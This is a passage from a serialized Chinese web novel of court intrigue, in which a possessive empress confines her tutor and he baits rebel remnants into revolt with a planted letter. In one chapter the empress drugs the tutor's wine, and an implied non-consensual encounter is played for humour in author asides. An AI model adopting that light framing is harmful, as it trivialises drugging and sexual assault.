她慢慢地站起身,走到顾云舟的书桌前。 桌上,笔墨纸砚一应俱全,还有一叠未曾动过的空白奏章。 她拿起一支笔,纤细的手指,在冰冷的笔杆上,轻轻摩挲着。 良久。 她抬起眼,望向四四方方的天空,嘴角,缓缓勾起一抹微笑。 先生,你看。 你的学生,已经学会了你的本事呢。 很快,你就会看到,朕为你准备的,一个更大的惊喜。 一个,你永远也无法拒绝的……惊喜呢。 (晚上还有一张哈,我去写大纲了π_π) 第一百二十八章 嘿嘿,不可说,不可说 忘忧阁内。 萧青鸾就那么静静地站在那,手里捏着一份奏报,一言不发。 明明阁内很暖和,喜公公却觉得后脖颈子嗖嗖的。 他偷偷用眼角的余光瞟了一眼。 陛下的脸上,没有任何表情,什么都没有。 可越是这样,就越让人头皮发麻。 另一边,被这股低气压笼罩的中心,顾云舟却毫无察觉。 他正悠闲地坐在窗边,手里拿着一把小巧的剪刀,慢条斯理地修剪着一盆名贵的君子兰。 剪刀开合,发出清脆的“咔嚓”声,在这死寂中显得格外刺耳。 终于,萧青鸾动了。 走到顾云舟身边,将那份奏报随手放在了桌上。 她的声音响起,带着一丝刻意营造的轻快笑意。 “先生,南疆传来捷报了。” 顾云舟手上的动作没停,眼皮都没抬一下,淡淡地应了一声:“哦?” “孟御史在奏报里,对朕大加赞赏呢。”萧青鸾的笑容很甜,她弯下腰,凑到顾云舟耳边,吐气如兰,“他说,全赖陛下天恩浩荡,知人善任,驯虎营的将士们才能用命,一举扫平了百年匪患。” 她刻意加重了“陛下”和“朕”这两个字。 仿佛在用这种方式,抹掉这件功劳上可能存在的任何其他人的印记。 喜公公的心猛地一抽。 完了。 孟御史那封奏报的原文,他偷偷看过。简直就是一封明晃晃的投诚信。 陛下这是在敲打先生啊! 顾云舟终于停下了手中的剪刀。 他抬起头,脸上挂着一抹恰到好处的,温和的微笑,仿佛在欣赏一件稀世珍宝。 “陛下圣明烛照,运筹帷幄,此乃大炎之幸,万民之福。” 他的声音里,听不出一丝波澜。 萧青鸾嘴角的笑意,僵了零点零一秒。 她最恨他这副样子。 永远云淡风轻,永远波澜不惊,好像这世上就没有任何事能让他动容。 就像一拳打在了棉花上,毫无作用。 顾云舟放下剪刀,用一方洁白的丝帕,仔细擦拭着手指,仿佛那上面沾了什么看不见的灰尘。 他话锋一转,语气自然得像是随口提起一件微不足道的小事。 “不过,陛下。南方匪患既然已经平定,驯虎营那几千号人,可都是虎狼之辈。长期驻扎在富庶的江南,怕是会生出事端。” 萧青鸾的眸光微微一凝。 来了。 她就知道。 顾云舟慢悠悠地继续说道:“臣以为,可将这支部队调往西境的‘祁连山道’。那里山高路险,人烟稀少,正好让他们屯垦练兵。名义上是修缮驿道,打通商路,一来可以让他们自给自足,不耗费国库钱粮。二来,亦可防备西边异族可能的异动。一举两得,善莫大焉。” 一番话说得公事公办,条理清晰,处处透着为国为民的忠心。 喜公公在旁边听得心惊肉跳。 我的老天爷! 先生这是要干什么? 把那支只认木牌不认皇命的私军,调到一个天高皇帝远的绝地?那不是龙归大海,虎入林,从此再也无人可以节制了吗! 这已经不是阳谋了。 这是明目张胆地给自己划拉一块法外之地! 忘忧阁内的空气,仿佛凝固住了。 萧青鸾脸上的笑容,一点点收敛了起来。 她没有立刻回答,而是就这样静静的看着顾云舟。 那眼神,不再审视,反而像一个即将失去心爱玩具的孩子,充满了不安与偏执。 她知道,先生又在伸出手,试图撬动他身上的枷锁。 她不能拒绝。 因为这个提议,从任何角度看,都是对大炎王朝最有利的选择。 拒绝,就等于承认她心胸狭隘。 但她更不能答应。 她绝不允许,他有任何一丝,脱离自己掌控的可能性。 沉默。 令人窒息的沉默。 就在喜公公以为自己快要被这股压力碾碎的时候,萧青鸾忽然笑了。 那笑容,如春水解冻,瞬间融化了满室的冰霜。 她上前一步,极其自然地,拉起了顾云舟的手。 她的手很凉。 “先生说的,自然是对的。”她的声音,也变得柔情似水,带着一丝撒娇的意味,“不过,这件事不急。” 她拉着顾云舟站起身,一双明亮的眸子,一眨不眨地盯着他。 “国事固然重要,但先生在朕的心里,比什么都重要。” 顾云舟心中警铃大作。 他看着眼前这张既天真又疯狂的脸,一瞬间竟猜不透她想做什么。 只听萧青鸾用一种近乎梦呓的语气,轻声说道: “朕来之前已经让人准备好了饭菜,晚些先生和我一同共进晚餐如何。” “只要陪朕这一次,朕什么都答应先生又如何呢。” 顾云舟也搞不清楚萧青鸾到底想要做什么,不过她既然能同意又何尝不能同意她的请求呢 “陛下盛情,臣不敢推辞。” 萧青鸾眼中闪过一丝得逞的笑意, “先生真好。”她拉着顾云舟的手越来越紧了,牵着他走向早已备好的宴桌。 两人落座,萧青鸾亲自执壶,为顾云舟斟满一杯酒。 “这是苏长青新贡的‘醉春香,清香甘甜,最是解乏。先生为国事操劳,该多饮几杯才是。”她端起自己的酒杯,笑盈盈地看向顾云舟。 顾云舟端起酒杯,鼻尖不动声色地闻了几下,似乎并无异样。 (内心os:应该不至于下毒害我吧。) 他只得举杯,象征性地抿了一小口。 酒入喉,有些苦涩,但还好。 “陛下,”顾云舟放下酒杯,试图转移话题,“关于调往西境之事,臣以为……” “哎呀,先生!”萧青鸾娇嗔一声打断施法,亲自夹了一块牛肉放入他的玉碟,“今晚不谈国事,只陪朕好好吃顿饭。先生莫不是嫌弃朕准备的不合口味?还是先生在怪我吗?” 顾云舟不语只一味的干饭。 萧青鸾见顾云舟不接话,便自顾自的说着宫里的趣事,回忆着一些顾云舟教导她的往事 ...... 时间一点一滴的过去。 当顾云舟第三次端起被续满的酒杯时,异样的感觉猛地袭来。脑袋也变得昏沉沉的。 视野似乎也开始模糊,晃动。 “萧青鸾……你……”他的声音沙哑,带着难以置信。 “先生,朕怎么了?”她的声音依旧轻柔,带着一丝妩媚,“可是这酒……后劲儿大了些?” 顾云舟想质问,但已经意识开始模糊不清,强忍着困意说出了最后一句话。 “你……到底想做什么……” 萧青鸾缓缓走到他面前,居高临下地看着摇摇欲坠的样子。 伸出手,手指轻轻抚过顾云舟滚烫的额头,捧起他脸颊的在上面轻咬了一口,瞬间出现了一排牙印,动作带着病态的欲望。 先生,你逃不掉的,你只能是我的。 ..... (此处省略,我帮你们看了,不用谢哈) ..... 第一百二十九章 上钩的诱饵 连续七天,顾云舟作息规律。 自从那次醉酒后发生了什么都想不起来,只记得当时醒来后浑身感觉怪怪的,腰膝酸软。 自那以后他就只剩下 吃饭,睡觉,看卷宗。 喜公公在一旁伺候着,看着先生的脸,心里越来越没底。他总不可能当着他的面直接说:“先生你被那啥了吧,还叫得....” 直到第八天夜里。 顾云舟的手指,在一份西境粮道图上,轻轻一点。 那地方,叫“白狼仓”。 神京城三成的军粮,都要从那里,沿着一条长达八百里的粮道,慢慢悠悠地运过来。 而负责押运的定西将军,是个贪财好色,连军饷都敢克扣的掉毛。 顾云舟的嘴角,终于勾起了一抹笑意。 找到了。 就是你了。 他抽出了最普通的一张宣纸。然后又换了一支笔,蘸了另一种墨。 做完这一切,他才扬声喊道:“喜公公。” 喜公公一个激灵,连忙小跑着进来,谄媚地躬身:“先生有何吩咐?” “磨墨。” 顾云舟的语气平淡如水,拿起另一支笔,在另一张华美的奏章纸上,开始书写。 “拟一道公文。就说南疆巡阅军……也就是之前的驯虎营,已完成平乱之功。然其匪性未除,不宜久驻江南富庶之地。着,即刻开拔,移防西境祁连山道……” 他口中念着调兵之策,每一个字都无懈可击,完全是前几日与女帝商议的口吻。 喜公公一边小心翼翼地磨着墨,一边竖起耳朵听着。 心里却在疯狂吐槽。 移防西境?那鸟不拉屎的地方,山高皇帝远,龙一那帮人才去了,不就等于蛟龙入海,再也没人管得住了? 先生这一手,玩得真脏。 就在他胡思乱想之际,异变陡生! 顾云舟仿佛是写得累了,随意地伸了个懒腰。 宽大的袖袍轻轻一甩。 正好飘落在喜公公的脚边。 喜公公的眼皮猛地一跳! 他下意识地低头看去,只瞄到了“白狼仓”“里应外合”几个字,心脏就差点从嗓子眼里蹦出来! 他还没来得及反应,顾云舟已经闪电般地弯下腰,一把将那纸条捡了起来! “谁让你看的!眼神锐利如刀,死死地盯着喜公公,“不该看的东西,不要看!会死人的!你懂吗!” 喜公公“噗通”一声就跪下了,浑身发抖。 “先生饶命!奴婢什么都没看见!奴婢瞎了眼!奴婢什么都不知道啊!” 他一边磕头,一边用眼角的余光,死死地盯着顾云舟的动作。 只见顾云舟将那纸条,塞进了一个小小的紫檀木匣子里,然后“咔嚓”一声,上了一把小锁。 做完这一切,他才像是脱力一般,疲惫地挥了挥手。 “滚出去。” “谢先生!谢先生!” 喜公公如蒙大赦,连滚带爬地退出了房间,直到厚重的殿门在身后关上,他才扶着墙,大口大口地喘着气。 冷汗,浸透了他的内衫。 白狼仓! 里应外合! 先生……先生他真的要反! 他不是在跟陛下赌气,他是真的要鱼死网破! 一个疯狂的念头,在喜公公的脑海里生根发芽,然后以一种不可遏制的速度疯狂生长。 这是天大的秘密! 也是天大的机会! 如果……如果我把这个秘密弄到手…… 那未来,无论是陛下赢了,还是先生赢了,我岂不是都有了安身立命的本钱! 一边是女帝,一边是帝师。 这道选择题,太难了。 但对于一个在深宫里摸爬滚打了三十年的老太监来说,最稳妥的选择,从来都不是站队。 而是,两头下注! “梭哈!” 当晚,三更天。 一道黑影,贴着墙根,溜进了寂静无声的忘忧阁正殿。 正是喜公公。 他手里,攥着一把早就配好的,小小的铜钥匙。 他屏住呼吸,耳朵贴在顾云舟寝殿的门上,听了许久,确认里面只有平稳的呼吸声后,才蹑手蹑脚地来到书桌前。 那个紫檀木匣子,就静静地躺在那里。 喜公公的手,稳的一批。 他将钥匙插进锁孔,轻轻一拧。 “咔哒。” 一声轻响,在这死寂的夜里回荡。 他浑身一颤,差点瘫软在地。 等了许久,没听到任何动静,他才颤抖着手,打开了匣子。 那张纸条,就躺在里面。 喜公(和谐)公借着从窗外透进来的微弱月光,飞快地看了一遍。 越看,心跳得越快! 这根本不是什么计划,而是一封写给三河藩王余孽的密信! 信是以一个潜伏在神京城多年的老间谍的口吻写的。 信里详细点明了白狼仓粮道的守备有多么松懈,那个草包将军的巡逻路线有多么敷衍。 最要命的是,信里还“揭露”了一个惊天内幕。 女帝正准备对军中一批老将动手,清洗军中不忠于她的势力,好安插她那些忠于她的人上位! 字里行间,都充满了诱惑。 仿佛在对着叛军大喊:兄弟们,这是你们最后的机会了!再不动手,等女帝清洗完军队,你们就彻底完蛋了!快来干一票大的! 喜公公倒吸一口凉气。 狠! 太狠了! 先生这是要把叛军的胆子给催肥啊! 他不敢耽搁,连忙从怀里掏出早就备好的纸笔,借着月光,用最快的速度抄录了一份。 做完这一切,他将一切恢复原状,锁好匣子,才像做贼一样溜了出去。 他以为自己掌控了天大的秘密。 却不知,他只是一个被精心挑选的,最合适的信使。 他以为自己是聪明人。 却不知,他连棋子都算不上,顶多是那只负责把棋子从棋盒里,递到棋盘上的手。 神京城,一条阴暗的死胡同。 穿着一身夜行衣的喜公公,将抄录好的情报,递给了一个笼罩在斗篷里的黑影。 “东西就在这。老规矩,一千两黄金,少一个子儿都不行。”喜公公压着嗓子,声音嘶哑。 黑影沉默着,递过来一个沉甸甸的钱袋。 喜公公掂了掂,满意地点了点头,转身就要走。 “等等。”黑影忽然开口,“这情报,保真吗?” 喜公公冷笑一声,脚步没停。 “你只需要知道,这情报,来自忘忧阁。” 说完,他便头也不回地消失在了黑暗中。 胡同里,只剩下那个黑影。 他缓缓展开纸条,借着墙角一盏破灯笼的微光,飞快地看了一遍。 下一秒,他的呼吸,骤然变得粗重! 那双藏在斗篷阴影里的眼睛,瞬间爆发出难以置信的狂喜! 他死死地攥着那张纸条,仿佛刹那攥住了未来。 “快!加急!禀告靖王殿下!” 第一百三十章 残党议会 南方,瘴气弥漫的无名山洞里。 赵楷死死攥着那张从神京城加急送来的纸条。他的胸膛剧烈起伏着,双眼被火光映照得发红。 “兄长!兄长在天有灵啊!”他猛地抬头,对着湿漉漉的洞顶发出一声嘶吼,“苍天有眼!苍天有眼啊!” 白狼仓!大炎王朝的粮草命脉! 女帝要清洗军中老将! 每一个字,带来的不是痛苦,而是亢奋。 “来人!都给本王滚过来!” 一声令下,洞穴深处立刻骚动起来。不多时,七八个形容狼狈但眼神凶悍的将领,深一脚浅一脚地从各个角落里钻了出来,围拢在一起。 他们是三河藩王最后的余孽,是躲藏在这不见天日的山洞里,苟延残喘的丧家之犬。 “王爷,何事如此……激动?”一个将领小心翼翼地问,生怕触了这位喜怒无常主子的霉头。 赵楷没有说话,只是将那张纸条狠狠拍在了面前的石桌上。 众人疑惑地凑上前。 只看了一眼,洞穴里的空气瞬间凝固了。 下一秒,粗重的呼吸声此起彼伏。 “白狼仓……守备松懈?” “女帝要自断臂膀,清洗军中宿将?” “这……这他娘的是真的?!” 短暂的安静后,整个山洞瞬间炸开了锅! “天赐良机!这绝对是天赐良机!”独眼将领激动得满脸颤抖,“那小贱人倒行逆施,众叛亲离!连老天都看不下去了!” “没错!她以为靠着那个小白脸就能坐稳江山?做梦!”另一个络腮胡大汉一拳砸在石桌上,震得手发痛,“清洗老将,这可是弥天大罪!消息一旦传开,天下兵马,谁还肯为她卖命?这正是我们最好时机!” “干了!王爷!咱们杀回去吧!” “对!杀回神京,宰了那对狗男女,为王爷报仇!” “报仇!报仇!” 群情激奋,洞穴里弥漫着狂热。每个人眼中已经看到了自己杀入皇宫,加官进爵的场面。 赵楷满意地看着这一切,脸上露出了残忍的笑容。他要的就是这股气势! “魏先生,您觉得呢?”他转过头,看向角落里一个始终沉默不语的干瘦老者。 魏庸,前靖王府的老谋士,也是这群亡命徒中唯一 一个还保留着几分理智的人。 所有人的目光都聚焦在了魏庸身上。 老谋士缓缓睁开浑浊的双眼,火光在他脸上刻下深深的浅浅的沟壑。他没有去看那张纸条,只是抬眼扫视了一圈激动到快要发疯的同僚,声音沙哑地开口。 “太顺了。” 仅仅三个字,就像一盆冰水,兜头浇在了众人火热的头顶上。 山洞里瞬间安静下来。 赵楷脸上的笑容僵住了。“魏先生,此话何意?” 魏庸颤颤巍巍地站起身,走到一张简陋的沙盘前,那上面用石子和泥土捏出了神京城周围的地形。他拿起一根枯枝,点在了代表“白狼仓”的位置。 “王爷请看,白狼仓位于神京西南一百二十里,地处平原,无险可守。它的确是神京的粮草命脉,但也正因如此,它更是神京的咽喉。” 他抬起头,浑浊的眼睛里闪过一丝精光。 “敢问诸位将军,你们若是女帝,若是那个算无遗策的妖师顾云舟,会把自己的咽喉,如此轻易地暴露在敌人面前吗?会只派一个贪财好色的草包去看守吗?” 众人面面相觑,脸上的狂热褪去了几分。 魏庸冷笑一声,枯枝重重地戳在沙盘上。 “再说这封密信。信里说女帝要清洗军中老将,为她的门生腾位子。这理由听上去,是不是很合情合理?是不是正好挠到了我等的痒处?正好给了我们一个联合天下旧部,起兵造反的绝佳借口?” 他环视四周,声音陡然拔高。 “这情报,与其说是我们千辛万苦探听来的,倒不如说……是有人为我们量身定做,打包好了,亲手送到我们嘴边的!” “这根本不是什么天赐良机!” “这是一个陷阱!一个要将我们一网打尽的毒计!” 话音落下,洞中一片死寂,只有火把燃烧的噼啪声,显得格外刺耳。 独眼将领等人张了张嘴,却一个字也说不出来。他们不是傻子,魏庸的话,字字说在他们没有考虑的点上,他们后背瞬间冒出了一层冷汗。 赵楷的脸色,已经阴沉得快要滴出水来。 他死死盯着魏庸, “陷阱?魏庸,我看你是躲在这山洞里,把胆子都给躲没了!” 一声暴喝,打破了凝重的气氛。 赵楷猛地一脚踹翻了身旁的石凳,指着魏庸的鼻子破口大骂:“我们在这里当了多久的老鼠?每天吃糠咽菜,睡在这潮湿发霉的鬼地方!你看看我们现在都成了什么样子!人不像人,鬼不像鬼!” “现在,好不容易有了一个机会,一个能让我们杀出去,拿回本该属于我们的机会!你却在这里说什么陷阱!” “我告诉你!就算是陷阱,老子也认了!” 他“呛啷”一声拔出腰间的长剑,剑尖直指洞口那片深不见底的黑暗。 “我兄长惨死!三河基业毁于一旦!这血海深仇,我一刻都不敢忘!” “我宁可轰轰烈烈地战死在神京城下,也绝不愿再像个地沟里的老鼠一样,烂死在这山洞里!” 一番话,再次点燃了众人心中熄灭的火焰。 是啊,富贵险中求! 难道真要一辈子当缩头乌龟吗? “王爷说得对!怕他个鸟!干了兄弟们!” “就算是陷阱,咱们弟兄们手里这几百斤肉,也能从他身上撕下一块来!” “请王爷下令!” 看着再次沸腾的众人,赵楷脸上露出了满意的神色。他轻蔑地瞥了脸色惨白的魏庸一眼,仿佛在看一个无胆的...... 但他毕竟不是纯粹的蠢货。 为了堵住所有人的嘴,也为了给自己加上一枚砝码,他沉声下令。 “为了以防万一,派几个最机灵的弟兄,去白狼仓附近探探虚实!我给你们三天时间,三天之后,我要知道那里的一草一木,蚂蚁是公是母!” “是!” 两日后。 派出去的探子连滚带爬地跑回了山洞,带回来的消息,让整个山洞彻底陷入了狂喜。 “王爷!千真万确!那封密信上说的,一个字都没错!” 探子跪在地上,激动得语无伦次。 “白狼仓的守军,懒散得就像没睡醒的猫!属下亲眼看到,他们的巡逻队大白天就在营地里赌钱!粮道上,更是连个像样的哨卡都没有!” “而且……而且就在昨天,真有一伙不知道从哪冒出来的流寇,光天化日之下,就抢了三车白面!那守粮的官军,眼睁睁看着,连个屁都不敢放!” 消息一出,再无人怀疑。 所有人的目光都看向了赵楷,眼神里充满了崇拜。 王爷英明! 赵楷得意地扬起了下巴,他走到面如死灰的魏庸面前,用剑鞘拍了拍他的脸。 “魏先生,现在,你还有什么话要说吗?” "回答我。嗯?" 魏庸缓缓闭上了眼睛,长长地叹了一口气。 完了。 天要亡我三河旧部,非战之罪。 他知道,那些所谓的“流寇”,恐怕就是妖师顾云舟提前布下的棋子,专门演给他们看的。 可现在,没人会信他了。 所有人都被那三车唾手可得的白面,蒙蔽了双眼。 赵楷收回剑鞘,转身面对他最后的家底,高高举起了手中的长剑。 “传我将令!” 他的声音,在狭窄的山洞里回荡,带着一种破釜沉舟的决绝。 “倾尽所有,三日之后,起兵北伐!” “目标” “白狼仓!” 第一百三十一章 山雨欲来 玄鸟卫的情报,很快就传进皇宫深处。 一份来自南境青州。粮价三日内,无故上涨三成。 一份来自潭州。城中最大的三家铁匠铺,同时接到匿名大单,连夜赶制箭头和朴刀,数量过百。 一份来自岳州。一支运盐的商队规模扩大了三倍,行踪诡异,绕开官道,一路向北。 …… 御书房内,巨大的沙盘占据了中心。 女帝萧青鸾一袭黑色的龙纹常服,站在沙盘前,一言不发。 她身后,玄鸟卫统领赤羽,正将一枚枚代表着“异常”的黑色小旗,精准而沉默地插在沙盘的各处。 起初,这些黑旗还很零散,像是一盘随手撒下的棋子,杂乱无章。 可随着纸条越来越多,黑旗也越来越密。 它们从南方的三州之地开始,连成了一条线,又汇成了一股洪流。 最终,所有的黑色箭头,都指向了一个地方。 神京。 大炎王朝的心脏。 赤羽插下最后一面黑旗,整个南方版图上,仿佛被画上了一张巨大的网。 她退后半步,垂首而立。 萧青鸾没有看那些黑旗。 她的目光,越过沙盘,穿透了厚重的宫墙,望向了皇宫西北角的那个方向。 那里,是忘忧阁。 她不需要证据。 她也不需要去猜。 当那张大网成型时,她就闻到了一股熟悉的味道。 那是她先生的味道。 内个男人,哪怕被关在笼里,他依然能将整个天下,当成自己的棋盘。 不是因为那张即将威胁到她皇位的大网。 而是因为,她意识到,自己或许还是对他太过于宽容了,有点想调教一下是怎么回事。 “都下去。” 她的声音很轻,却带着不容置疑。 赤羽和一众宫人无声地退下,偌大的御书房,只剩下她一个人。 她站了很久。 久到烛火都燃尽了一寸。 然后,她转身,没有带任何随从,独自一人,走向了那个位置。 忘忧阁的庭院里,桂花开得正好。 顾云舟坐在石桌前,自己和自己下棋。 阳光透过桂树的叶子,在他身上投下斑驳的光影,他手执白子,神情专注,仿佛这世上的一切纷扰,都与他无关。 萧青鸾的脚步很轻,像一只没有声音的猫。 她走到石桌对面,顾云舟像是没有察觉,依旧在思索着下一步棋。 她也不说话,就这么静静地看着他。 看着他温和的侧脸,看着他修长干净的手指,看着他身上那件自己亲手为他挑选的月白色长衫。 一切都是她想要的模样。 温和,俊雅,安静,无害。 可她知道,这副皮囊下,心却完全不属于她,真想刨开在这上面种下自己的印记啊。 她伸出手,从棋盒里拿起一枚黑子。 冰冷的触感,让她混乱的心绪找到了一个支点。 啪。 一声轻响。 黑子被她重重地按在了棋盘的正中心。 天元。 最不讲道理,也最霸道的位置。 一子落下,满盘皆乱。 顾云舟持子的手微微一顿,终于抬起了头。 他看着对面的少女,脸上露出一抹恰到好处的微笑,仿佛在看一个正在胡闹的孩子。 “陛下今日,棋风很是凌厉。” 萧青鸾没有笑。 她乌黑的瞳孔里,映着那枚孤零零的黑子,声音平静得可怕。 “先生,朕听闻,南方的蚂蚁,最近有些不安分。” 她直视着他的眼睛,不放过他脸上任何一丝细微的表情变化。 “它们似乎想汇集成军,来神京城里,咬断大树的根。” “先生久居阁中,可知此事?” 庭院里的风停了,鸟也不叫了。 只有阳光依旧,将两人的身影拉得很长。 顾云舟的目光,清澈如水,坦然地接着她的审视。 他笑了笑,拿起一枚白子,不紧不慢地在棋盘的一角落下。 那位置,离她那枚霸道的黑子,隔了十万八千里。 “陛下,蚂蚁再多,也只是蚂蚁。” 他的声音听不出半点波澜。 “除非,是有人给了它们错觉,让它们以为自己是能搏象的老黄。” 他顿了顿,抬起眼帘,目光落在她的脸上,那双总是带着温和笑意的眼睛里,此刻却深不见底。 “陛下乃大树之主,是该静观其变,引蛇出洞,还是全力一击,将其碾碎,全在陛下一念之间。” 他将手中的白子,轻轻在棋盘上敲了敲,发出清脆的响声。 “臣,只是一个修剪枝叶的园丁罢了。” 园丁。 多么无害的词。 可萧青鸾却觉得,那把看不见的剪刀,此刻正抵着自己的喉咙。 他说得没错。 所有的选择权,都在她手上。 她可以立刻下令,调动北府军,封锁南境,将那些所谓的“蚂蚁”一只一只碾死在萌芽状态。 她也可以选择按兵不动,看着他们集结,看着他们北上,然后在一个他们意想不到的地方收网。 她甚至可以……什么都不做。 就这么看着他们,一路杀到神京城下。 因为她知道,只要她想,她随时可以赢。 大炎最精锐的军队在她手上,天下最富庶的疆土在她脚下。 区区一群乌合之众,翻不起浪来。 可那又如何? 她要的,从来都不是一场必胜的战争。 她要的,是眼前这个男人的答案。 是“是”,或者“不是”。 是他亲口承认,这一切,都是他做的。 或者,是他惊慌失措,是他百般抵赖,是他露出哪怕一丝一毫的破绽。 只要他露出来,她就能赢。 不是在战场上赢,而是在这张小小的棋盘上,在这笼里,赢下他。 让他知道,他的一切,都必须都是她的。 可他没有。 他的表情,无懈可击。 他的话,滴水不漏。 他将所有的问题,又原封不动地,推回到了她的面前。 仿佛他真的只是一个无辜的,一心为她着想的园丁。 两人四目相对。 棋盘上,杀机四溢。 棋盘外,暗流汹涌。 许久。 萧青鸾缓缓地收回了目光。 她没有得到任何她想要的答案。 她缓缓起身,居高临下地看着他,也看着那盘被她自己一手搅乱的棋局。 “希望先生的剪刀,”她一字一顿,声音轻得仿佛随时会碎掉,“不要剪错了枝叶。” 说完,她不再看他,转身离去。 她的背影,依旧挺拔,依旧充满了帝王的威仪。 但只有她自己知道,她的手,在宽大的袖袍里,已经攥得指节发白。 摊牌的时刻,已经不远了。 顾云舟静静地看着她的背影消失在月亮门的尽头。 他脸上的微笑,慢慢淡去。 他低头,看着棋盘。 那枚黑子,依旧霸道地占据着天元,像一只眼睛,嘲笑着这世间的一切规则。 他拿起那枚被他摩挲了许久的白子。 手指微动。 啪。 白子落下。 没有落在天元附近,去围剿那枚嚣张的黑子。 而是落在了棋盘最偏远的角落。 一个看似毫无用处,却又暗藏杀机的位置。 (今日三更哈,小铺盖去写大纲啦_(:D)∠)_) 第一百三十二章 烽火再起 今日,却被一声撕心裂肺的呐喊彻底撕碎。 “八百里加急!!” 声音从宫门外传来,捅破了神京城虚假的平和。 下一秒,殿门被轰然撞开。 一个身影连滚带爬地冲了进来。 他身上的甲胄早已破碎不堪,脸上混合着血浆与尘土,只留下一双眼睛。 传令兵。 “陛下!!” 满朝文武,上百个平日里不是之乎者也就是引经据典的大人物,此刻集体失声。 所有人都被这突如其来的血腥扬面钉在了原地。 龙椅之上,萧青鸾一身玄色朝服。 她没有动,只是静静地看着下方那个濒死的士兵。 “说。” 一个字,清冷,不带任何情绪。 传令兵猛地一颤,仿佛被这个字注入了最后的回光返照。 他挣扎着抬起头,声音因为激动而破了音,带着哭腔。 “陛下!反了!反了!!” “赵楷……赵楷尽起三河残部,联合南方七大军户世家,于三日前……已攻破青州!” 轰! 这句话,狠狠砸进了太和殿这片死水里。 整个朝堂,瞬间沸腾了。 “什么?青州破了?怎么可能!” “青州守将是陈将军,他手下有三万兵马,怎么会三天就破城!” “赵楷那点残兵败将,哪来的胆子!” 户部尚书钱胖子,那张平日里养尊处优的脸此刻白得像一张纸,他第一个跳了出来,声音尖锐得像被踩了尾巴的猫。 “陛下!此事必有蹊跷!必是谣言!” “对!肯定是谣言!” 一群平日里只会动嘴皮子的文官,此刻像是找到了主心骨,纷纷附和。 仿佛只要他们不信,青州城就能自己长回来。 传令兵却像是没听见他们的聒噪,他颤抖着从怀里掏出一卷被血浸透了的布帛,高高举过头顶。 “陛下……这……这是叛军的檄文!已传遍南方三州!” 一名内侍小跑着上前,接过那份沉甸甸的檄文,又小跑着呈到御前。 萧青鸾没有接。 她的目光,甚至没有在那份檄文上停留一秒。 她只是淡淡地说道:“念。” 内侍躬身领命,展开那份散发着血腥味的布帛。 他深吸一口气,开始宣读。 “……痛心疾首!大炎不幸,君上年幼,为妖师所惑……” 第一句,满朝皆惊。 檄文,竟然不是骂皇帝的? “……妖师顾云舟,本一介乡野村夫,心怀叵测,以花言巧语蛊惑圣听,囚君上于深宫,断内外之音讯……” “……其罪一,擅权乱政,废祖宗之法,行苛政于民!” “其罪二,构陷忠良,屠戮功臣,使朝野人人自危!” “其罪三,好大喜功,穷兵黩武,致使边疆不宁,百姓流离!” …… 内侍的声音越来越抖,每念一条,朝堂上的气氛就诡异一分。 以御史大夫孔德为首的一批老臣,脸色从最初的愤怒,渐渐变得复杂。 他们痛恨叛乱,这是毋庸置疑的。 可这檄文里写的……怎么听着……他娘的还有点道理? 尤其是那句“囚君上于深宫,断内外之音讯”,简直说到了他们心坎里! 他们这些人,哪个没被忘忧阁外的禁军拦过?哪个没尝过有事上奏却石沉大海的滋味? 这檄文,骂的是顾云舟,可打的,是他们所有人心里的那点憋屈。 内侍的声音还在继续,已经到了最后。 “……我等义士,不忍见社稷倾颓,君上蒙尘!故起兵戈,替天行道!” “此战,不为夺权,不为裂土!” “只为清君侧,诛妖师!!” 最后六个字,内侍几乎是用尽全身力气吼出来的。 清君侧,诛妖师! 这六个字,说在每个人的心上。 太和殿内,寂静一片。 叛军的旗号,太毒了。 他们把自己摆在了道德的制高点上,他们不是叛国,他们是救国。 他们不是造反,他们是勤王。 他们要杀的,不是皇帝,而是皇帝身边的奸臣。 这让朝廷怎么打? 你派兵去打,那就是保护奸臣,就是昏君行径。 你不打,那就等着人家一路杀到神京城下,帮你“清理门户”? 这是一个死局。 一个阳谋。 一个逼着你把刀架在自己脖子上的阳谋。 “荒唐!一派胡言!”孔德第一个站出来,须发皆张,满脸通红,“此乃乱臣贼子之言,意在动摇国本!陛下,万不可信!” 他虽然心里也觉得顾云舟不是个东西,但此刻,他必须维护朝廷的体面。 然而,立刻就有人唱起了反调。 “孔大人此言差矣!”户部尚书钱胖子擦了擦额头的冷汗,挤出一个笑容,“叛军势大,青州已失,若再战下去,恐……恐江山动荡啊!” “依下官愚见……不如……不如议和?” “议和?怎么议和?”兵部的一名侍郎冷笑道,“人家指名道姓要诛妖师,你拿什么去和?难道真把帝师交出去不成?” 他本是一句气话。 可没想到,钱胖子眼珠子一转,竟然真的顺着杆子往上爬了。 “这……这……为了江山社稷,个人荣辱,又算得了什么呢?”他声音越说越小,眼神却在偷偷瞟着周围人的反应。 “放屁!”一名武将当扬就炸了,“我大炎将士的血还没流干,你就要先跪下了?!” “你懂什么!这叫权宜之计!保存实力!” “我看你是想保存你自己的脑袋!” “你……” 整个太和殿,彻底乱成了一锅粥。 主战的,主和的,浑水摸鱼的,全都吵作一团。 像极了一扬滑稽的闹剧。 亡国之兆。 不知是谁,在心里默默吐出了这四个字。 而这扬闹剧的中心,龙椅之上的那个少女,却始终没有说话。 她就那么静静地坐着,脸色苍白如雪。 她的目光,没有看下面那些吵得面红耳赤的臣子,也没有看那份写满了罪状的檄文。 她的视线,落在了皇城一角。 那个为他一人而建的。 忘忧阁。 先生。 你看到了吗? 这就是你的棋局。 你用南方三州做棋盘,用数十万生民做棋子,就为了逼我。 逼我在这朝堂之上,在天下人面前,做出一个选择。 是保你,还是保大炎。 好。 好得很。 就在朝堂的争吵达到顶峰时。 “啪!” 一声清脆的巨响,压过了所有的声音。 是萧青鸾,她一掌拍在了龙椅的扶手上。 整个大殿,瞬间鸦雀无声。 所有人都像被掐住了脖子的鸭子,望着龙椅上的女帝。 平日里,她要么是清冷的,要么是威严的。 可此刻,他们从她那双平静的眼睛里,看到了一种近乎的疯狂。 “吵够了?” 她的声音不大,却刺入每个人的耳朵。 “朕还没死。” “大炎,也还没亡。” 她缓缓站起身,目光扫过下方一张张惊恐或羞愧的脸。 “退朝。” 不容置疑的两个字。 百官如蒙大赦,连滚带爬地退出了太和殿。 刚才还喧闹如菜市扬的宏伟大殿,转瞬间,便只剩下她一人。 空旷,寂静。 她一步一步,走下高高的丹陛。 弯腰,捡起了那份掉落在地上的,沾着血的檄文。 她将上面的血污一点点拂去,仔仔细细地看着上面的每一个字。 看着那些对顾云舟的控诉,那些将她塑造成可怜虫的字句。 看着最后那六个,杀气腾腾的大字。 清君侧,诛妖师。 许久。 